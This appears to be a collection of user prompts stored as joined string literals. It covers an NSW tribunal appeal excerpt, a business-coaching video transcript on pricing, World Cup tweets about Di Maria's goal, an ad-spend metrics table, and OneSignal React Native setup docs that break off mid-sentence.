invoices.\n\nSections 80 and 81 of the Civil and Administrative Tribunal Act 2013 (NSW) permit the Appeal Panel to exercise all the functions of the Tribunal at first instance and to vary a decision rather than remitting it for further hearing.\n\nWe do not consider it appropriate to remit the matter to the Tribunal for re-determination, as it would not be appropriate to allow the parties to file further evidence on any remittal hearing and, in our view, the evidence which was before the Tribunal was clearly insufficient to establish any causal link between the defects in the windows installed by the appellant and the amounts charged by the builder in the three invoices. In those circumstances it is, in our view, appropriate to vary the judgment to exclude the amount of the three invoices, that is $29,601.69.' +"do the same for this one:\n\n(1) Business Builder Challenge Day 5 - How To Find What To Sell And Price It - YouTube\nhttps://www.youtube.com/watch?v=7yEWlVLEGeU\n\nTranscript:\n(00:00) welcome to day five the business builder challenge where we show you exactly how to create a high income high margin low work location independent alpha 2.0 business where you can make decent money location dependent without having to work too hard today we're going to cover your offer and your pricing so in the last video we talked about the six different areas in which you could choose to sell that item that will help people or companies achieve some kind of result so i'm assuming now you've picked\n(00:27) that already if you haven't that's okay but i'm assuming that you have or at least in terms of one of those six items there's one in your head you're like yeah i'd probably do that the next step is what exactly are you going to sell ebook course consulting service whatever and what problem is that going to solve for the customer this all revolves around the customer or client if you're doing business services or consulting you would call it a client if it's anything else in that list it\n(00:58) would be a customer doesn't matter but what is the problem that you're offering is going to help alleviate or solve with the customer or client because you start there hopefully you are niched you're talking about a very narrow niche a very narrow type of person or a very narrow type of company with a specific problem that you can help them with now the problem could be anything i don't know it could be anything from improving profitability to losing weight to getting laid to moving out of the\n(01:26) country these are a lot of topics i've either talked about or interested in the past that's why i'm using those topics but it could be anything really anything to think of it doesn't matter but those that's the first of two questions what is the problem it's trying to solve how is the condition of the customer going to be approved by them purchasing your information or your service start there if i'm your customer if i'm your client how is my condition going to improve and be as clear as you can not like\n(01:54) you'll be happier that's not very clear a better thing is you will increase profitability by 20 or so or you'll be able to schedule due dates on the calendar within three weeks of working with me or whatever it is try to quantify the actual improvement if you can't now you may say michaela this is a new business i've ever done this before i don't know then guess it's okay to guess as long as you're honest with prospects when you talk to them you can say look my guess based on my experience and my\n(02:23) knowledge is that i can get you an improvement that looks something like this i may not be exactly right because i am new but that's my guess and even if we only get 50 of that you will still improve so let's say you're going to be a consultant and you're going to help cut costs by 20 let's say let's say that's the number you've chosen if you go to a company and you save the owner or whoever's going to hire you look i could be wrong maybe i only save costs by 10 well that's a lot of money that's more\n(02:50) than worth your consulting fee and that leads into the second question how much is the improvement worth to the customer so if you come to me and you say caleb i'm gonna increase your sales by 20 that's worth a lot to me i would spend a lot of money on that because 20 for me is a lot of money so that means i'm happy to pay you a decent amount of money for that 20 percent now it doesn't have to be a financial thing again you can sell to individuals or you can sell the companies if you want to sell to individuals you could\n(03:22) use the example of one of my companies i teach dating advice for men and i show men how to get first dates with online dating and have non-monogamous relationships so i will say to them i can help you schedule first dates get first dates on the calendar and once you start dating new women i can show you how to date multiple women all at the same time and they all know you're dating other women and they continue to date you anyway without complaining about it that's one of the things i teach one of my companies how much money\n(03:46) is that worth that's worth a lot of money to men it's not a business thing is it there's no financial numbers attached that is there but it's such a cool result that i can charge a decent amount of money for men to buy my information to help them achieve that result make sense so those are two questions to start with in terms of your offer what is the improvement and how much is that improvement worth to your niche once you know those two things then you can go to the next step and figure out\n(04:12) how much it's going to cost what the pricing is if the improvement is significant and it's worth a lot to the niche then your price could be very high if your improvement is little or if your improvement is big but it's not deemed as very important to your niche then the price will have to be lower make sense the price is not based on what you are comfortable with most business owners charge under what they should be charging the price should be only based on value which means the value of the improvement you're giving the customer\n(04:41) or the client and that's it so if you're providing high value you can charge a lot of money there are ebooks that you can buy online for 300 and you may go what the hell why would i buy a book for 300 because they're highly highly niched and they're extremely valuable i bought an ebook once 20 years ago when the internet was new and ebooks were not even a thing i bought an ebook once for 200 it was 197 god caleb you're a why would you buy a book for 200 because it was a book on how to do cold\n(05:10) calls to get clients for your consulting business you see how niche that was and that's exactly what i was doing 20 years ago so i was happy to spend 200 on a book it's not like well the book is 40 pages so i guess i better charge two dollars for it no wrong incorrect there are online courses for a few videos that cost three thousand dollars there are there's only a few hours long but they cost three thousand because the value is so strong to that niche i knew a guy once who published a printed newsletter and it\n(05:41) only went out six times a year he would just bail it out six times a year and the subscription price for this newsletter like a little magazine was three thousand dollars a year now why was it so much because it was a very niche newsletter in the oil industry he was only targeting a very certain type of person in a very specific industry the oil industry so he was able to charge a lot of money because it was ditched and the value was very high so you don't charge based on the modality you charge based on the value it's\n(06:12) called value-based pricing it's extremely important that you don't under charge for what you're selling i don't want you to make that mistake and let's say you charge too much money you know what you cut your prices later it's not a big deal it really isn't it's harder to raise your prices later than to cut them later so i'd rather you start out on the high range of pricing based on the value and the value to the kleiner customer once again you are invited to the 90-day business\n(06:38) builder where we me personally and my staff work with you one-on-one and in small groups over a 12-week period with an accountability coach where we meet every week and we show you exactly what to do we hold your hand and take you through the exact process of setting up your alpha jupiter business from zero so you are making real money by the end of 12 weeks if not sooner than that guaranteed if you have any interest in that because it's the cheapest time we're doing is right now because every time we do this we raise the prices so\n(07:09) if you want in on this for as cheap as you can click the link below or wherever it is to schedule your consultation call you get all your questions answered we'll go through everything with you if it's not for you no problem if it is for you you could be making money in your own alpha 2.\n(07:25) 0 business like this in less than 12 weeks sometimes much less than 12 weeks even if you've never started business before because we're going to take you through the process step by step by step with an accountability coach who works with you every week you're going to work with me and my coaches every week you'll know everything what to do because we'll take you through the entire process it's an absolute no-brainer we do this for you with you if you have any interest click that link and schedule that call we only\n(07:50) take on a certain number of people at once because we can't have too many people in the sessions so once we're full we're full and if we do this again it's going to cost more money so if any interest on this click the link below to schedule your consultation call it might be with me me or one of my coaches depends who you get and i will see you in the next video have fun bye" +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "di maria"\n\nsourceText Time\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\nArgentinaaaaaaaaaaa ???? What A GOAL!!!!!! Angel Di Maria you beautyyyyyy #FIFAWorldCup #ArgentinaVsFrance 15:36:41.0000000\n35\' GOAL ?\'\'Di Maria gets Argentina\'s second and France are torn apart on the counterattack!\'\'#ARG 2-0 #FRA \'\'#FIFAWorldCup | #Qatar2022 https://t.co/xQHVZ64vXA 15:36:57.0000000\n2-0 for Argentina what a Goal!! Di Maria 15:36:52.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they\'re suffering like this? ??\'#ArgentinaVsFrance 15:36:36.0000000\nDi Maria! What a goal from Argentina ????????\'\'Game over. 15:36:13.0000000\nDi Maria ayyyyyyy mannnnnnnnn what a goal #ArgentinaVsFrance #arg 15:36:41.0000000\nDi Maria Goal! But it\'s FIFA that scored as some will say ??????\'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria deserves a goal.\'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nDi maria, what a goal from argentina there. Taking the baguettes apart crumb by crumb. 15:36:14.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\nBeautiful goal Di Maria #ArgentinaVsFrance #WorldCup 15:36:38.0000000\nWhat a counter attacking goal. \'\'Di Maria...#ArgentinaVsFrance 15:36:44.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nThat flick by Messi for the Di Maria goal, a thing of beauty #ArgentinaVsFrance #WorldCupFinal #Qatar2022 15:36:25.0000000\nARGENTINA GOAL: Argentina catch France on the counter and Di Maria doubles the former’s advantage.\'\'#ARG 2-0 #FRA #ARGFRA #WorldCupFinal 15:36:37.0000000\nThat Di Maria goal is pretty special. #ArgentinaVsFrance #WorldCup 15:36:48.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nThat is just brilliant from Argentina 2-0 #ArgentinaVsFrance #Qatar2022 terrific team goal. Starting Di Maria a genius move 15:36:57.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nWhat is going on with France ????, they play so bad. Good goal of Di Maria 15:36:21.0000000\nWhat a Goal De Maria ?????????\'2-0 ??\'#Arg\'#WorldCupFinal 15:36:34.0000000\nDi Maria who won the penalty scores second goal on the break for Argentina 15:36:43.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup\'\'Argentina 2-0 France 15:36:00.0000000\nArgentina scores from a counter, what a goal ! \'\'Di Maria scores\'\'2 - 0 15:36:55.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nIdk looks like Argentina is just better so far. It’s not even just Messi! What a goal from De Maria!! Amazing teamwork that started from the back and led to a goal 15:36:51.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\nThis Di Maria goal was like a wonderfully written poem .\'\'#ARGFRA 15:36:33.0000000\nDi maria scored. Argentina leading by 2 goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nGoal Argentina\'\'What a build up\'Di Maria gets Argentina\'s second\'Arg 2-0 FRA\'#FIFAWorldCup 15:36:57.0000000\nWhat a goal, Argentina is all over em. 2-1. Di Maria’s involvement this game has been magical. 15:35:58.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nBrilliant Argentina goal that 2-0 Di Maria\'\'One touch. Macalister running the game 15:36:30.0000000\nANGEL DI MARIA!!!!!!!! WHAT ABTEAM GOAL THAT WAS, 2-0 ARGENTINA!!!!!! 15:36:18.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\nArgentina scores their first goal in 2022 world cup final. Di Maria?? 15:36:28.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal for Argentina ??\'Argentina 2:0 France ????\'??36’ Di Maria \'\'#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. \'\'Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nDi Maria bags his another goal for Argentina. France are being ripped apart here 15:36:12.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton\'s Mac Allister 15:36:50.0000000\n35\' GOAL! #ARG 2-0 #FRA \'\'Angel Di Maria finishes off a glorious counter-attack to double Argentina\'s lead! #FIFAWorldCup 15:36:51.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGOAL! ARGENTINA 2-0 France\'\'IT\'S DI MARIA WITH A SENSATIONAL GOAL! \'\'https://t.co/wtEfL70MU4 #FIFAWorldCup https://t.co/x8w76dNag2 15:36:27.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don\'t need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nDI MARIAAAAAAAA\'WHAT A TEAM GOAL\'WHAT ARE WE WITNESSING HERE!!!!!\'#ArgentinaVsFrance 15:36:16.0000000\n??ARGENTINA DOUBLE THEIR LEAD??\'\'GOAL: Di Maria 35‘ ??????\'2-0 15:35:51.0000000\nArgentina 2 : France 0\'#worldcup \'#WorldCup2022 \'Goal by Di Maria 15:36:48.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria with the second goal\'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\n2-0 Argentina.\'\'ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nOmg that 2nd goal, one touch clean passes on the attach was a beauty. Messi with the assist and Di Maria for goal. 2-0 #ARG game on now #FIFAWorldCup #ArgentinaVsFrance 15:36:52.0000000\nAnother goal for Argentina... De Maria ????\'\'#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\n?ngel Di Maria is an absolute pleasure to watch. One of the most underrated players of all time. What a goal from Argentina! Is is finally Messi’s time? 15:36:19.0000000\nDi Maria makes it 2 - 0 Argentina vs France that maybe his last ever world cup goal wow! #WorldCup2022 15:36:27.0000000\nGOAL: World Cup final - Argentina 2-0 France, Di Maria (35 mins) #Qatar2022 15:36:18.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nDI MARIA!!! WHAT A GOAL!!!! L\'ARGENTINA!!!! 15:36:44.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDI MAARRIAAAAAA what a stunning goal for #arg #FIFAWorldCupFinal 15:36:39.0000000\nDi Maria!!! What a nice goal!!!!! #Argentina up 2-NIL!!!! #WorldCup2022 15:36:39.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nThat goal by Di Maria was aces! #WorldCupFinal 15:36:17.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria \'\'#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nTerrific break by Argentina no problem with that Goal Messi Mcallister Di Maria 2-0 15:36:53.0000000\nWhat an assist what a goal Di Maria ???????? #ArgentinaVsFrance 15:36:33.0000000\n2-0 & Di Maria chipped his goal\'#WorldCup \'#ArgentinaVsFrance 15:36:55.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\n?? #WorldCup | #Qatar2022\'\'? 36\' | GOAL!!! Angel Di Maria doubles Argentina\'s lead!\'\'#ARG 2-0 #FRA \'\'#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nGOAL!\'\'Angel di Maria makes it 2 - 0 for Argentina.\'\'#FIFAWorldCup 15:36:34.0000000\nDi Maria \'\'2-0 \'\'Beautiful goal from Argentina! 15:35:59.0000000\nThat wasn\'t a penalty.\'But this Di Maria goal shows how good has Argentina been playing all match. 15:36:43.0000000\nBit annoying when you had Di Maria first goal scorer, France being found out at last 15:36:37.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nThat is a beautiful goal!!\'\'Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nGOAL BY DI MARIA ?? #ARG \'\'????Argentina 2-0 France????\'\'#FIFAWorldCup | #ARGFRA 15:36:10.0000000\nDe Maria, Ze Maria.. astonishing goal.. #ArgentinaVsFrance #FIFAWorldCup 15:36:19.0000000\nAngel Di Maria makes it 2 -0 to Argentina #FIFAWorldCup ! Goal of the tournament 15:36:22.0000000\nWhat an amazing team-goal. Di Maria can still do it on the big stage. #ARGFRA 15:36:56.0000000\nArgentina is putting on a clinic right now. That was a gorgeous goal by Angel di Maria. 15:36:55.0000000\nWOW. WHAT A GOAL! Finished by Di Maria, Argentina well on top… anyone seen France & Mbappe??? 15:36:37.0000000' +'account\\_id hour cumulative\\_local\\_spend cumulative\\_impressions cumulative\\_clicks cumulative\\_installs local\\_spend impressions clicks installs day\\_count CPT CPI CVR CTR\n2405380 0 2477.86 5273 466 252 2477.86 5273 466 252 34 5.317296137 9.832777778 0.5407725322 0.08837473924\n2405380 1 2663.41 6033 503 276 185.55 760 37 24 34 5.014864865 7.73125 0.6486486486 0.04868421053\n2405380 2 4300.75 11506 814 455 1637.34 5473 311 179 34 5.264758842 9.147150838 0.575562701 0.05682441074\n2405380 3 5304.85 14721 1006 573 1004.1 3215 192 118 34 5.2296875 8.509322034 0.6145833333 0.05972006221\n2405380 4 6051.27 17377 1159 650 746.42 2656 153 77 34 4.878562092 9.693766234 0.5032679739 0.05760542169\n2405380 5 6558.75 19994 1267 709 507.48 2617 108 59 34 4.698888889 8.601355932 0.5462962963 0.0412686282\n2405380 6 7103.39 21751 1385 770 544.64 1757 118 61 34 4.61559322 8.92852459 0.5169491525 0.0671599317\n2405380 7 7686.22 24651 1535 832 582.83 2900 150 62 34 3.885533333 9.400483871 0.4133333333 0.05172413793\n2405380 8 8428.2 28666 1735 916 741.98 4015 200 84 34 3.7099 8.833095238 0.42 0.0498132005\n2405380 9 9338.96 33768 1956 1024 910.76 5102 221 108 34 4.121085973 8.432962963 0.4886877828 0.04331634653\n2405380 10 10583.99 39980 2233 1169 1245.03 6212 277 145 34 4.494693141 8.586413793 0.523465704 0.04459111397\n2405380 11 12054.14 46514 2544 1305 1470.15 6534 311 136 34 4.727170418 10.80992647 0.4372990354 0.04759718396\n2405380 12 13230.4 54028 2842 1447 1176.26 7514 298 142 34 3.947181208 8.283521127 0.4765100671 0.03965930264\n2405380 13 14744.02 63596 3235 1627 1513.62 9568 393 180 34 3.851450382 8.409 0.4580152672 0.04107441472\n2405380 14 16024.85 72294 3599 1787 1280.83 8698 364 160 34 3.518763736 8.0051875 0.4395604396 0.04184870085\n2405380 15 17273.54 80542 3969 1956 1248.69 8248 370 169 34 3.374837838 7.388698225 0.4567567568 0.04485935984\n2405380 16 18843.11 90961 4436 2178 1569.57 10419 467 222 34 3.360963597 7.070135135 0.4753747323 0.04482195988\n2405380 17 20007.32 99911 4814 2369 1164.21 8950 378 191 34 3.079920635 6.095340314 0.5052910053 0.04223463687\n2405380 18 21192.64 108437 5109 2507 1185.32 8526 295 138 34 4.018033898 8.589275362 0.4677966102 0.03460004692\n2405380 19 23034.85 119555 5507 2698 1842.21 11118 398 191 34 4.628668342 9.645078534 0.4798994975 0.03579780536\n2405380 20 25211.77 131730 5984 2918 2176.92 12175 477 220 34 4.563773585 9.895090909 0.4612159329 0.03917864476\n2405380 21 27890.82 147618 6646 3208 2679.05 15888 662 290 34 4.046903323 9.238103448 0.4380664653 0.04166666667\n2405380 22 31303.19 164006 7407 3605 3412.37 16388 761 397 34 4.484060447 8.595390428 0.5216819974 0.04643641689\n2405380 23 35009.56 179633 8314 4083 3706.37 15627 907 478 34 4.086405733 7.753912134 0.5270121279 0.05804057081' +'Here are the OneSignal docs\n\nReact Native SDK Setup\nInstructions for adding the OneSignal React Native & Expo SDK to your app for iOS, Android, and derivatives like Amazon\n\nSuggest Edits\nStep 1. Requirements\nOneSignal Account\nYour OneSignal App Id, available in Settings > Keys & IDs.\niOS Requirements\nAn iOS 9+ or iPadOS device (iPhone, iPad, iPod Touch) to test on. Xcode 14+ simulator works running iOS 16+.\nA Mac with Xcode 12+.\nAn iOS Push Certificate or P8 Authentication Token.\nAndroid Requirements\nAn Android 4.0.3+ device or emulator with "Google Play Store (Services)" installed.\nA Google/Firebase Server API Key.\nProject using AndroidX.\ncompileSDKVersion set to 33 or higher.\nAmazon & Huawei Requirements\nFollow these instructions if your app is distributed on the Amazon AppStore and/or the Huawei AppGallery.\n\nGenerate an Amazon API Key.\nHuawei Unity SDK Setup.\n📘\nRunning Example Project\n\nFor your convenience, we created an example project, based on React Native 0.63.\nYou can run this project to test configurations, debug, and build upon it.\n\ngit clone https://github.com/OneSignal/react-native-onesignal\ncd react-native-onesignal && cd examples && cd RNOneSignal\nyarn\nRunning the Android example app: react-native run-android\nRunning the iOS example app:\nOpen the RNOneSignal project in Xcode\nChange the Signing Team and Bundle Identifier for both the RNOneSignal target as well as the OneSignalNotificationServiceExtension\nThe Service Extension bundle id should be .OneSignalNotificationServiceExtension\nBuild\nStep 2. Add the OneSignal package to your app\n🚧\nExpo Setup\n\nOneSignal is a native library and leverages the Google FCM and Apple APNS protocols. There are 2 options for adding OneSignal to your Expo Project:\n\nTry the OneSignal Expo Plugin. Recommended if you are using a Managed Expo Workflow. Follow the plugin\'s README for details.\nUse an Expo Bare Workflow. Follow Expo’s guide on Ejecting from the Managed Workflow.\n2.1 Install the SDK using Yarn or NPM\n\nYarn: yarn add react-native-onesignal\nNPM npm install --save react-native-onesignal\n2.2 Link OneSignal (for RN versions < 0.60)\n\nSkip if using React Native version of 0.60 or greater. Autolinking is now done automatically so skip to step 3.\n\nReact Native: react-native link react-native-onesignal\n\nStep 3. Install for Android using Gradle (For Android apps)\nWithin your Android project\'s app/build.gradle, validate that your compile and target SDK versions are set to version 33 or higher:\n\napp/build.gradle\n\nandroid {\n compileSdkVersion 33\n ...\n\n defaultConfig {\n ...\n targetSdkVersion 33\n }\n}\nStep 4. Install for iOS using Cocoapods (For iOS Apps)\n4.1 Run cd ios && pod install\n\n4.2 Add Required Capabilities\n\nIn your project\'s ios directory, open the .xcworkspace file in Xcode.\n\nSelect the root project and main app target. In Signing & Capabilities, select All and + Capability. Add "Push Notifications".\n\n2794\nClick + Capability to add Background Modes and check Remote notifications.\n\n3024\n4.3 Add a Notification Service Extension\n\nThe OneSignalNotificationServiceExtension allows your application to receive rich notifications with images and/or buttons, and to report analytics about which notifications users receive.\n\n4.3.1 In Xcode Select File > New > Target...\n4.3.2 Select Notification Service Extension then press Next.\n\n1482\n4.3.3 Enter the product name as OneSignalNotificationServiceExtension and press Finish. Do not press "Activate" on the dialog shown after this.\n\n1454\n4.3.4 Press Cancel on the Activate scheme prompt.\n\n840\nBy canceling, you are keeping Xcode debugging your app, instead of just the extension. If you activate by accident, you can always switch back to debug your app within Xcode (next to the play button).\n\n4.3.5 In the Project Navigator, select the top-level project directory and select the OneSignalNotificationServiceExtension target.\n\nEnsure the Deployment Target is set to the same value as your Main Application Target. Unless you have a specific reason not to, you should set the Deployment Target to be iOS 10 which is the version of iOS that Apple released Rich Media for push. iOS versions under 10 will not be able to get Rich Media.\n\n3024\nThis should be the same value as your Main Application Target.\n\n4.3.6 In your Project Root > ios > Podfile, add the notification service extension outside the main target (should be at the same level as your main target):\n\nPodfile\nExample Podfile\n\ntarget \'OneSignalNotificationServiceExtension\' do\n pod \'OneSignalXCFramework\', \'>= 3.0\', \'< 4.0\'\nend\nClose Xcode. While still in the ios directory, run pod install again.\n\nRe-Open the . xcworkspace file in Xcode. In the OneSignalNotificationServiceExtension directory > NotificationService.m or NotificationService.swift file, replace the whole file contents with the code below:\n\nObjective-C\nSwift\n\n#import \n\n#import "NotificationService.h"\n\n@interface NotificationService ()\n\n@property (nonatomic, strong) void (^contentHandler)(UNNotificationContent \\*contentToDeliver);\n@property (nonatomic, strong) UNNotificationRequest \\*receivedRequest;\n@property (nonatomic, strong) UNMutableNotificationContent \\*bestAttemptContent;\n\n@end\n\n@implementation NotificationService\n\n- (void)didReceiveNotificationRequest:(UNNotificationRequest \\*)request withContentHandler:(void (^)(UNNotificationContent \\* \\_Nonnull))contentHandler {\n self.receivedRequest = request;\n self.contentHandler = contentHandler;\n self.bestAttemptContent = [request.content mutableCopy];\n \n //If your SDK version is < 3.5.0 uncomment and use this code:\n /\\*\n [OneSignal didReceiveNotificationExtensionRequest:self.receivedRequest\n withMutableNotificationContent:self.bestAttemptContent];\n self.contentHandler(self.bestAttemptContent);\n \\*/\n \n /\\* DEBUGGING: Uncomment the 2 lines below and comment out the one above to ensure this extension is excuting\n Note, this extension only runs when mutable-content is set\n Setting an attachment or action buttons automatically adds this \\*/\n // NSLog(@"Running NotificationServiceExtension");\n // self.bestAttemptContent.body = [@"[Modified] " stringByAppendingString:self.bestAttemptContent.body];\n \n // Uncomment this line to set the default log level of NSE to VERBOSE so we get all logs from NSE logic\n //[OneSignal setLogLevel:ONE\\_S\\_LL\\_VERBOSE visualLevel:ONE\\_S\\_LL\\_NONE];\n [OneSignal didReceiveNotificationExtensionRequest:self.receivedRequest\n withMutableNotificationContent:self.bestAttemptContent\n withContentHandler:self.contentHandler];\n}\n\n- (void)serviceExtensionTimeWillExpire {\n // Called just before the extension will be terminated by the system.\n // Use this as an opportunity to deliver your "best attempt" at modified content, otherwise the original push payload will be used.\n \n [OneSignal serviceExtensionTimeWillExpireRequest:self.receivedRequest withMutableNotificationContent:self.bestAttemptContent];\n \n self.contentHandler(self.bestAttemptContent);\n}\n\n@end\nIgnore any build errors at this point, we will resolve these later by importing the OneSignal library.\n\n1128\n4.4 Add App Group\n\nIn order for your application to use Confirmed Deliveries and increment/decrement Badges through push notifications, you need to set up an App Group for your application.\n\n4.4.1 In your main app target go back to Signing & Capabilities > All > + Capability and add App Groups\n\n2796\n4.4.2 Under the newly added “App Groups” capability click the + button.\n\nSet the “App Groups” container to be group.YOUR\\_BUNDLE\\_IDENTIFIER.onesignal where YOUR\\_BUNDLE\\_IDENTIFIER is the same as shown in "Bundle Identifier" then press OK.\n\n1438\n4.4.3 Repeat this process for the OneSignalNotificationServiceExtension\n\nMake sure the "App Groups" container is the same for both targets! Do not include OneSignalNotificationServiceExtension. Then press OK.\n\n1352\nIf you require more details or troubleshooting help, see the iOS SDK App Groups setup guide.\n\nStep 5. Initialize the OneSignal SDK\nIn your App.js or index.js initialize OneSignal and try the example methods below:\n\nindex.js\n\nimport OneSignal from \'react-native-onesignal\';\n\n// OneSignal Initialization\nOneSignal.setAppId(ONESIGNAL\\_APP\\_ID);\n\n// promptForPushNotificationsWithUserResponse will show the native iOS or Android notification permission prompt.\n// We recommend removing the following code and instead using an In-App Message to prompt for notification permission (See step 8)\nOneSignal.promptForPushNotificationsWithUserResponse();\n\n//Method for handling notifications received while app in foreground\nOneSignal.setNotificationWillShowInForegroundHandler(notificationReceivedEvent => {\n console.log("OneSignal: notification will show in foreground:", notificationReceivedEvent);\n let notification = notificationReceivedEvent.getNotification();\n console.log("notification: ", notification);\n const data = notification.additionalData\n console.log("additionalData: ", data);\n // Complete with null means don\'t show a notification.\n notificationReceivedEvent.complete(notification);\n});\n\n//Method for handling notifications opened\nOneSignal.setNotificationOpenedHandler(notification => {\n console.log("OneSignal: notification opened:", notification);\n});\n🚧\nEvent Listeners & Components\n\nWe suggest using a base/root component to add as an event listener. If you choose a sub-component that is only shown in some situations (such as using a homepage as an event listener), the component may unmount later on as the user navigates elsewhere in your app.\n\nIf you encounter problems with one or more of the events listeners, please see our troubleshooting documentation here.\n\nManually updating iOS OneSignalNativeSDK\nWhen you install react-native-onesignal it will automatically include a specific version of the OneSignal iOS native SDK that is known to work with it. Only follow the instructions below if there is a native OneSignal SDK fix you need that isn\'t included already in the latest react-native-onesignal update.\n\nDownload the latest OneSignal iOS native release.\nDelete libOneSignal.a and OneSignal.h from node\\_modules/react-native-onesignal/ios/\nFrom /iOS\\_SDK/OneSignalSDK/Framework/OneSignal.framework/Versions/A/, copy OneSignal to /node\\_modules/react-native-onesignal/ios/ and rename it libOneSignal.a\nCopy OneSignal.h from /iOS\\_SDK/OneSignalSDK/Framework/OneSignal.framework/Versions/A/Headers to /node\\_modules/react-native-onesignal/ios/\nStep 6. Run Your App and Send Yourself a Notification\nRun your app on a physical device to make sure it builds correctly. Note that the iOS Simulator does not support receiving remote push notifications.\n\niOS and Android devices should be prompted to subscribe to push notifications if you used the example setup code provided.\nCheck your OneSignal Dashboard Audience > All Users to see your Device Record.\n\nThen head over to Messages > New Push to Send your first Push Notification from OneSignal.\n\n📘\nTroubleshooting\n\nIf you run into any issues please see our React Native troubleshooting guide.\n\nTry the example project on our Github repository.\n\nIf stuck, contact support directly or email support@onesignal.com for help.\n\nFor faster assistance, please provide:\n\nYour OneSignal App Id\nDetails, logs, and/or screenshots of the issue.\nSteps to reproduce\nStep 7. Set Custom User Properties\nRecommended\nAfter initialization, OneSignal will automatically collect common user data by default. Use the following methods to set your own custom userIds, emails, phone numbers, and other user-level properties.\n\nSet External User Id\nRequired if using integrations.\nRecommended for messaging across multiple channels (push, email, sms).\n\nOneSignal creates channel-level device records under a unique Id called the player\\_id. A single user can have multiple player\\_id records based on how many devices, email addresses, and phone numbers they use to interact with your app.\n\nIf your app has its own login system to track users, call 